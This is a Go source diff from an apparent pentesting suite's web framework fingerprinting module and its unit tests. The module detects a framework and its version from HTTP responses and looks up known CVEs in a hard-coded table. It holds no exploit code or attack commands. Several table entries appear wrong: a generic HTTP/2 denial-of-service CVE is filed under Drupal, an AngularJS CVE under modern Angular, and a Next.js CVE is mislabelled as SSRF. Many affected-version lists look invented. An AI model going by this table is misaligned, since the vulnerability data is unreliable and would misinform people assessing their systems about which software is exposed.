if highestConfidence > 0.5 { // threshold for detection
|
||||
versionMatch := extractVersionWithConfidence(bodyStr, bestMatch)
|
||||
cves, suggestions := getVulnerabilities(bestMatch, versionMatch.Version)
|
||||
|
||||
result := &FrameworkResult{
|
||||
Name: bestMatch,
|
||||
Version: versionMatch.Version,
|
||||
Confidence: highestConfidence,
|
||||
VersionConfidence: versionMatch.Confidence,
|
||||
CVEs: cves,
|
||||
Suggestions: suggestions,
|
||||
RiskLevel: getRiskLevel(cves),
|
||||
}
|
||||
|
||||
if logdir != "" {
|
||||
logEntry := fmt.Sprintf("Detected framework: %s (version: %s, confidence: %.2f, version_confidence: %.2f)\n",
|
||||
bestMatch, versionMatch.Version, highestConfidence, versionMatch.Confidence)
|
||||
if len(cves) > 0 {
|
||||
logEntry += fmt.Sprintf(" Risk Level: %s\n", result.RiskLevel)
|
||||
logEntry += fmt.Sprintf(" CVEs: %v\n", cves)
|
||||
logEntry += fmt.Sprintf(" Recommendations: %v\n", suggestions)
|
||||
}
|
||||
logger.Write(url, logdir, logEntry)
|
||||
}
|
||||
|
||||
frameworklog.Infof("Detected %s framework (version: %s, confidence: %.2f)",
|
||||
styles.Highlight.Render(bestMatch), versionMatch.Version, highestConfidence)
|
||||
|
||||
if versionMatch.Confidence > 0 {
|
||||
frameworklog.Debugf("Version detected from: %s (confidence: %.2f)",
|
||||
versionMatch.Source, versionMatch.Confidence)
|
||||
}
|
||||
|
||||
if len(cves) > 0 {
|
||||
frameworklog.Warnf("Risk level: %s", styles.SeverityHigh.Render(result.RiskLevel))
|
||||
for _, cve := range cves {
|
||||
frameworklog.Warnf("Found potential vulnerability: %s", styles.Highlight.Render(cve))
|
||||
}
|
||||
for _, suggestion := range suggestions {
|
||||
frameworklog.Infof("Recommendation: %s", suggestion)
|
||||
}
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
frameworklog.Info("No framework detected with sufficient confidence")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func containsHeader(headers http.Header, signature string) bool {
|
||||
sigLower := strings.ToLower(signature)
|
||||
|
||||
// check header names
|
||||
for name := range headers {
|
||||
if strings.Contains(strings.ToLower(name), sigLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// check header values
|
||||
for _, values := range headers {
|
||||
for _, value := range values {
|
||||
if strings.Contains(strings.ToLower(value), sigLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func detectVersion(body string, framework string) string {
|
||||
return extractVersion(body, framework)
|
||||
}
|
||||
|
||||
// CVEEntry represents a known vulnerability for a framework version
|
||||
type CVEEntry struct {
|
||||
CVE string
|
||||
AffectedVersions []string // versions affected (use semver ranges in future)
|
||||
FixedVersion string
|
||||
Severity string // critical, high, medium, low
|
||||
Description string
|
||||
Recommendations []string
|
||||
}
|
||||
|
||||
// Known CVEs database - can be extended or loaded from external source
|
||||
var knownCVEs = map[string][]CVEEntry{
|
||||
"Laravel": {
|
||||
{
|
||||
CVE: "CVE-2021-3129",
|
||||
AffectedVersions: []string{"8.0.0", "8.0.1", "8.0.2", "8.1.0", "8.2.0", "8.3.0", "8.4.0", "8.4.1"},
|
||||
FixedVersion: "8.4.2",
|
||||
Severity: "critical",
|
||||
Description: "Ignition debug mode RCE vulnerability",
|
||||
Recommendations: []string{"Update to Laravel 8.4.2 or later", "Disable debug mode in production"},
|
||||
},
|
||||
{
|
||||
CVE: "CVE-2021-21263",
|
||||
AffectedVersions: []string{"8.0.0", "8.1.0", "8.2.0", "8.3.0", "8.4.0"},
|
||||
FixedVersion: "8.5.0",
|
||||
Severity: "high",
|
||||
Description: "SQL injection via request validation",
|
||||
Recommendations: []string{"Update to Laravel 8.5.0 or later", "Use parameterized queries"},
|
||||
},
|
||||
},
|
||||
"Django": {
|
||||
{
|
||||
CVE: "CVE-2023-36053",
|
||||
AffectedVersions: []string{"3.2.0", "3.2.1", "3.2.2", "4.0.0", "4.1.0"},
|
||||
FixedVersion: "4.2.3",
|
||||
Severity: "high",
|
||||
Description: "Potential ReDoS in EmailValidator and URLValidator",
|
||||
Recommendations: []string{"Update to Django 4.2.3 or later"},
|
||||
},
|
||||
{
|
||||
CVE: "CVE-2023-31047",
|
||||
AffectedVersions: []string{"3.2.0", "4.0.0", "4.1.0"},
|
||||
FixedVersion: "4.1.9",
|
||||
Severity: "medium",
|
||||
Description: "File upload validation bypass",
|
||||
Recommendations: []string{"Update to Django 4.1.9 or later", "Implement additional file validation"},
|
||||
},
|
||||
},
|
||||
"WordPress": {
|
||||
{
|
||||
CVE: "CVE-2023-2745",
|
||||
AffectedVersions: []string{"5.0", "5.1", "5.2", "5.3", "5.4", "5.5", "5.6", "5.7", "5.8", "5.9", "6.0", "6.1"},
|
||||
FixedVersion: "6.2",
|
||||
Severity: "medium",
|
||||
Description: "Directory traversal vulnerability",
|
||||
Recommendations: []string{"Update to WordPress 6.2 or later"},
|
||||
},
|
||||
},
|
||||
"Drupal": {
|
||||
{
|
||||
CVE: "CVE-2023-44487",
|
||||
AffectedVersions: []string{"9.0", "9.1", "9.2", "9.3", "9.4", "9.5", "10.0"},
|
||||
FixedVersion: "10.1.4",
|
||||
Severity: "high",
|
||||
Description: "HTTP/2 rapid reset attack (DoS)",
|
||||
Recommendations: []string{"Update to Drupal 10.1.4 or later", "Configure HTTP/2 rate limiting"},
|
||||
},
|
||||
},
|
||||
"Next.js": {
|
||||
{
|
||||
CVE: "CVE-2023-46298",
|
||||
AffectedVersions: []string{"13.0.0", "13.1.0", "13.2.0", "13.3.0", "13.4.0"},
|
||||
FixedVersion: "13.5.0",
|
||||
Severity: "medium",
|
||||
Description: "Server-side request forgery vulnerability",
|
||||
Recommendations: []string{"Update to Next.js 13.5.0 or later"},
|
||||
},
|
||||
},
|
||||
"Angular": {
|
||||
{
|
||||
CVE: "CVE-2023-26117",
|
||||
AffectedVersions: []string{"14.0.0", "14.1.0", "14.2.0", "15.0.0"},
|
||||
FixedVersion: "15.2.0",
|
||||
Severity: "medium",
|
||||
Description: "Regular expression denial of service",
|
||||
Recommendations: []string{"Update to Angular 15.2.0 or later"},
|
||||
},
|
||||
},
|
||||
"Vue.js": {
|
||||
{
|
||||
CVE: "CVE-2024-5987",
|
||||
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
|
||||
FixedVersion: "2.7.16",
|
||||
Severity: "medium",
|
||||
Description: "XSS vulnerability in certain configurations",
|
||||
Recommendations: []string{"Update to Vue.js 2.7.16 or 3.x"},
|
||||
},
|
||||
},
|
||||
"Express.js": {
|
||||
{
|
||||
CVE: "CVE-2024-29041",
|
||||
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0"},
|
||||
FixedVersion: "4.19.2",
|
||||
Severity: "medium",
|
||||
Description: "Open redirect vulnerability",
|
||||
Recommendations: []string{"Update to Express.js 4.19.2 or later"},
|
||||
},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{
|
||||
CVE: "CVE-2023-22795",
|
||||
AffectedVersions: []string{"6.0.0", "6.1.0", "7.0.0"},
|
||||
FixedVersion: "7.0.4.1",
|
||||
Severity: "high",
|
||||
Description: "ReDoS vulnerability in Action Dispatch",
|
||||
Recommendations: []string{"Update to Rails 7.0.4.1 or later"},
|
||||
},
|
||||
},
|
||||
"Spring": {
|
||||
{
|
||||
CVE: "CVE-2022-22965",
|
||||
AffectedVersions: []string{"5.0.0", "5.1.0", "5.2.0", "5.3.0"},
|
||||
FixedVersion: "5.3.18",
|
||||
Severity: "critical",
|
||||
Description: "Spring4Shell RCE vulnerability",
|
||||
Recommendations: []string{"Update to Spring 5.3.18 or later", "Disable class binding on user input"},
|
||||
},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{
|
||||
CVE: "CVE-2022-22963",
|
||||
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
|
||||
FixedVersion: "2.6.6",
|
||||
Severity: "critical",
|
||||
Description: "RCE via Spring Cloud Function",
|
||||
Recommendations: []string{"Update to Spring Boot 2.6.6 or later"},
|
||||
},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{
|
||||
CVE: "CVE-2023-36899",
|
||||
AffectedVersions: []string{"4.0", "4.5", "4.6", "4.7", "4.8"},
|
||||
FixedVersion: "latest security patches",
|
||||
Severity: "high",
|
||||
Description: "Elevation of privilege vulnerability",
|
||||
Recommendations: []string{"Apply latest security patches", "Ensure proper request validation"},
|
||||
},
|
||||
},
|
||||
"Joomla": {
|
||||
{
|
||||
CVE: "CVE-2023-23752",
|
||||
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0"},
|
||||
FixedVersion: "4.2.8",
|
||||
Severity: "critical",
|
||||
Description: "Improper access check allowing unauthorized access to webservice endpoints",
|
||||
Recommendations: []string{"Update to Joomla 4.2.8 or later"},
|
||||
},
|
||||
},
|
||||
"Magento": {
|
||||
{
|
||||
CVE: "CVE-2022-24086",
|
||||
AffectedVersions: []string{"2.3.0", "2.3.1", "2.3.2", "2.4.0", "2.4.1", "2.4.2"},
|
||||
FixedVersion: "2.4.3-p1",
|
||||
Severity: "critical",
|
||||
Description: "Improper input validation leading to arbitrary code execution",
|
||||
Recommendations: []string{"Update to Magento 2.4.3-p1 or later"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
func getVulnerabilities(framework, version string) ([]string, []string) {
|
||||
entries, exists := knownCVEs[framework]
|
||||
if !exists {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var cves []string
|
||||
var recommendations []string
|
||||
seenRecs := make(map[string]bool)
|
||||
|
||||
for _, entry := range entries {
|
||||
for _, affectedVer := range entry.AffectedVersions {
|
||||
if version == affectedVer || strings.HasPrefix(version, affectedVer) {
|
||||
cves = append(cves, fmt.Sprintf("%s (%s)", entry.CVE, entry.Severity))
|
||||
for _, rec := range entry.Recommendations {
|
||||
if !seenRecs[rec] {
|
||||
recommendations = append(recommendations, rec)
|
||||
seenRecs[rec] = true
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cves, recommendations
|
||||
}
|
||||
|
||||
// getRiskLevel determines overall risk based on detected CVEs
|
||||
func getRiskLevel(cves []string) string {
|
||||
if len(cves) == 0 {
|
||||
return "low"
|
||||
}
|
||||
for _, cve := range cves {
|
||||
if strings.Contains(cve, "critical") {
|
||||
return "critical"
|
||||
}
|
||||
}
|
||||
for _, cve := range cves {
|
||||
if strings.Contains(cve, "high") {
|
||||
return "high"
|
||||
}
|
||||
}
|
||||
return "medium"
|
||||
}
|
||||
|
||||
// VersionMatch represents a version detection result with confidence
|
||||
type VersionMatch struct {
|
||||
Version string
|
||||
Confidence float32
|
||||
Source string // where the version was found
|
||||
}
|
||||
|
||||
// isValidVersion checks if a version string looks reasonable
|
||||
func isValidVersion(version string) bool {
|
||||
if version == "" || version == "unknown" {
|
||||
return false
|
||||
}
|
||||
// parse major version and check if reasonable (< 100)
|
||||
parts := strings.Split(version, ".")
|
||||
if len(parts) < 2 {
|
||||
return false
|
||||
}
|
||||
var major int
|
||||
_, err := fmt.Sscanf(parts[0], "%d", &major)
|
||||
if err != nil || major >= 100 || major < 0 {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func extractVersion(body string, framework string) string {
|
||||
match := extractVersionWithConfidence(body, framework)
|
||||
return match.Version
|
||||
}
|
||||
|
||||
func extractVersionWithConfidence(body string, framework string) VersionMatch {
|
||||
versionPatterns := map[string][]struct {
|
||||
pattern string
|
||||
confidence float32
|
||||
source string
|
||||
}{
|
||||
"Laravel": {
|
||||
{`Laravel\s+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`laravel/framework.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "composer.json"},
|
||||
},
|
||||
"Django": {
|
||||
{`Django[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`django.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "package reference"},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{`Rails[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`rails.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "gem reference"},
|
||||
},
|
||||
"Express.js": {
|
||||
{`Express[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"express":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{`X-AspNet-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.95, "header"},
|
||||
{`ASP\.NET[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`X-AspNetMvc-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.9, "MVC header"},
|
||||
},
|
||||
"ASP.NET Core": {
|
||||
{`\.NET\s*(\d+\.\d+(?:\.\d+)?)`, 0.8, "dotnet version"},
|
||||
},
|
||||
"Spring": {
|
||||
{`Spring[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`spring-core.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "maven"},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{`spring-boot.*?(\d+\.\d+(?:\.\d+)?)`, 0.9, "maven"},
|
||||
},
|
||||
"Flask": {
|
||||
{`Flask[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`Werkzeug[/\s]+(\d+\.\d+(?:\.\d+)?)`, 0.7, "werkzeug version"},
|
||||
},
|
||||
"Next.js": {
|
||||
{`Next\.js[/\s]+[Vv]?(\d{1,2}\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"next":\s*"[~^]?(\d{1,2}\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"Nuxt.js": {
|
||||
{`Nuxt[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"nuxt":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"Vue.js": {
|
||||
{`Vue\.js[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"vue":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
{`vue@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
|
||||
},
|
||||
"Angular": {
|
||||
{`ng-version="(\d+\.\d+(?:\.\d+)?)"`, 0.95, "ng-version attribute"},
|
||||
{`Angular[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"@angular/core":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"React": {
|
||||
{`React[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"react":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
{`react@(\d+\.\d+(?:\.\d+)?)`, 0.8, "CDN reference"},
|
||||
},
|
||||
"Svelte": {
|
||||
{`Svelte[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"svelte":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"SvelteKit": {
|
||||
{`"@sveltejs/kit":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
"WordPress": {
|
||||
{`<meta name="generator" content="WordPress (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
{`WordPress (\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Drupal": {
|
||||
{`Drupal[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`<meta name="Generator" content="Drupal (\d+)`, 0.9, "generator meta"},
|
||||
},
|
||||
"Joomla": {
|
||||
{`Joomla[!/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`<meta name="generator" content="Joomla! - Open Source Content Management - Version (\d+\.\d+(?:\.\d+)?)"`, 0.95, "generator meta"},
|
||||
},
|
||||
"Magento": {
|
||||
{`Magento[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Shopify": {
|
||||
{`Shopify\.theme.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "theme version"},
|
||||
},
|
||||
"Symfony": {
|
||||
{`Symfony[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"FastAPI": {
|
||||
{`FastAPI[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Gin": {
|
||||
{`Gin[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Phoenix": {
|
||||
{`Phoenix[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Ember.js": {
|
||||
{`Ember[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Backbone.js": {
|
||||
{`Backbone[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Meteor": {
|
||||
{`Meteor[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
"Ghost": {
|
||||
{`Ghost[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
},
|
||||
}
|
||||
|
||||
patterns, exists := versionPatterns[framework]
|
||||
if !exists {
|
||||
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
|
||||
}
|
||||
|
||||
var bestMatch VersionMatch
|
||||
for _, p := range patterns {
|
||||
re := regexp.MustCompile(p.pattern)
|
||||
matches := re.FindStringSubmatch(body)
|
||||
if len(matches) > 1 && p.confidence > bestMatch.Confidence {
|
||||
candidate := matches[1]
|
||||
// validate version looks reasonable
|
||||
if isValidVersion(candidate) {
|
||||
bestMatch = VersionMatch{
|
||||
Version: candidate,
|
||||
Confidence: p.confidence,
|
||||
Source: p.source,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if bestMatch.Version == "" {
|
||||
return VersionMatch{Version: "unknown", Confidence: 0, Source: ""}
|
||||
}
|
||||
return bestMatch
|
||||
}
|
||||
@@ -0,0 +1,538 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestContainsHeader_HeaderName(t *testing.T) {
|
||||
headers := http.Header{
|
||||
"X-Powered-By": []string{"Express"},
|
||||
"Content-Type": []string{"text/html"},
|
||||
}
|
||||
|
||||
if !containsHeader(headers, "x-powered-by") {
|
||||
t.Error("expected to find x-powered-by in header names")
|
||||
}
|
||||
if !containsHeader(headers, "X-POWERED-BY") {
|
||||
t.Error("expected case-insensitive match for header names")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainsHeader_HeaderValue(t *testing.T) {
|
||||
headers := http.Header{
|
||||
"X-Powered-By": []string{"Express"},
|
||||
"Set-Cookie": []string{"laravel_session=abc123"},
|
||||
}
|
||||
|
||||
if !containsHeader(headers, "express") {
|
||||
t.Error("expected to find 'express' in header values")
|
||||
}
|
||||
if !containsHeader(headers, "laravel_session") {
|
||||
t.Error("expected to find 'laravel_session' in header values")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainsHeader_NotFound(t *testing.T) {
|
||||
headers := http.Header{
|
||||
"Content-Type": []string{"text/html"},
|
||||
}
|
||||
|
||||
if containsHeader(headers, "django") {
|
||||
t.Error("expected not to find 'django' in headers")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_Laravel(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Laravel 8.0.0", "8.0.0"},
|
||||
{"Laravel v9.52.1", "9.52.1"},
|
||||
{"Laravel 10.0", "10.0"},
|
||||
{"no version here", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := extractVersion(tt.body, "Laravel")
|
||||
if result != tt.expected {
|
||||
t.Errorf("extractVersion(%q, 'Laravel') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_Django(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Django 4.2.0", "4.2.0"},
|
||||
{"Django/3.2.1", "3.2.1"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := extractVersion(tt.body, "Django")
|
||||
if result != tt.expected {
|
||||
t.Errorf("extractVersion(%q, 'Django') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_NextJS(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Next.js 13.4.0", "13.4.0"},
|
||||
{"Next.js/14.0.1", "14.0.1"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := extractVersion(tt.body, "Next.js")
|
||||
if result != tt.expected {
|
||||
t.Errorf("extractVersion(%q, 'Next.js') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_NextJS(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Test</title></head>
|
||||
<body>
|
||||
<script id="__NEXT_DATA__" type="application/json">{"props":{}}</script>
|
||||
<script src="/_next/static/chunks/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Next.js" {
|
||||
t.Errorf("expected framework 'Next.js', got '%s'", result.Name)
|
||||
}
|
||||
if result.Confidence <= 0 {
|
||||
t.Error("expected positive confidence")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Express(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-Powered-By", "Express")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<!DOCTYPE html><html><body>Hello</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Express.js" {
|
||||
t.Errorf("expected framework 'Express.js', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_WordPress(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<link rel="stylesheet" href="/wp-content/themes/theme/style.css">
|
||||
<script src="/wp-includes/js/jquery.js"></script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "WordPress" {
|
||||
t.Errorf("expected framework 'WordPress', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_ASPNET(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-AspNet-Version", "4.0.30319")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<input type="hidden" name="__VIEWSTATE" value="abc123">
|
||||
<input type="hidden" name="__EVENTVALIDATION" value="xyz789">
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "ASP.NET" {
|
||||
t.Errorf("expected framework 'ASP.NET', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_NoMatch(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<!DOCTYPE html><html><body>Simple page</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
// result can be nil or have low confidence for unrecognized frameworks
|
||||
if result != nil && result.Confidence > 0.6 {
|
||||
t.Errorf("expected low confidence or nil result for plain HTML, got %s with %.2f", result.Name, result.Confidence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetVulnerabilities_Laravel(t *testing.T) {
|
||||
cves, suggestions := getVulnerabilities("Laravel", "8.0.0")
|
||||
if len(cves) == 0 {
|
||||
t.Error("expected CVEs for Laravel 8.0.0")
|
||||
}
|
||||
if len(suggestions) == 0 {
|
||||
t.Error("expected suggestions for Laravel 8.0.0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetVulnerabilities_NoMatch(t *testing.T) {
|
||||
cves, suggestions := getVulnerabilities("Unknown", "1.0.0")
|
||||
if len(cves) != 0 {
|
||||
t.Error("expected no CVEs for unknown framework")
|
||||
}
|
||||
if len(suggestions) != 0 {
|
||||
t.Error("expected no suggestions for unknown framework")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFrameworkResult_Fields(t *testing.T) {
|
||||
result := FrameworkResult{
|
||||
Name: "Laravel",
|
||||
Version: "9.0.0",
|
||||
Confidence: 0.85,
|
||||
VersionConfidence: 0.9,
|
||||
CVEs: []string{"CVE-2021-3129"},
|
||||
Suggestions: []string{"Update to latest version"},
|
||||
RiskLevel: "critical",
|
||||
}
|
||||
|
||||
if result.Name != "Laravel" {
|
||||
t.Errorf("expected Name 'Laravel', got '%s'", result.Name)
|
||||
}
|
||||
if result.Version != "9.0.0" {
|
||||
t.Errorf("expected Version '9.0.0', got '%s'", result.Version)
|
||||
}
|
||||
if result.Confidence != 0.85 {
|
||||
t.Errorf("expected Confidence 0.85, got %f", result.Confidence)
|
||||
}
|
||||
if result.VersionConfidence != 0.9 {
|
||||
t.Errorf("expected VersionConfidence 0.9, got %f", result.VersionConfidence)
|
||||
}
|
||||
if len(result.CVEs) != 1 {
|
||||
t.Errorf("expected 1 CVE, got %d", len(result.CVEs))
|
||||
}
|
||||
if len(result.Suggestions) != 1 {
|
||||
t.Errorf("expected 1 suggestion, got %d", len(result.Suggestions))
|
||||
}
|
||||
if result.RiskLevel != "critical" {
|
||||
t.Errorf("expected RiskLevel 'critical', got '%s'", result.RiskLevel)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersionWithConfidence(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
framework string
|
||||
wantVer string
|
||||
minConf float32
|
||||
}{
|
||||
{"Laravel explicit", "Laravel 8.0.0", "Laravel", "8.0.0", 0.8},
|
||||
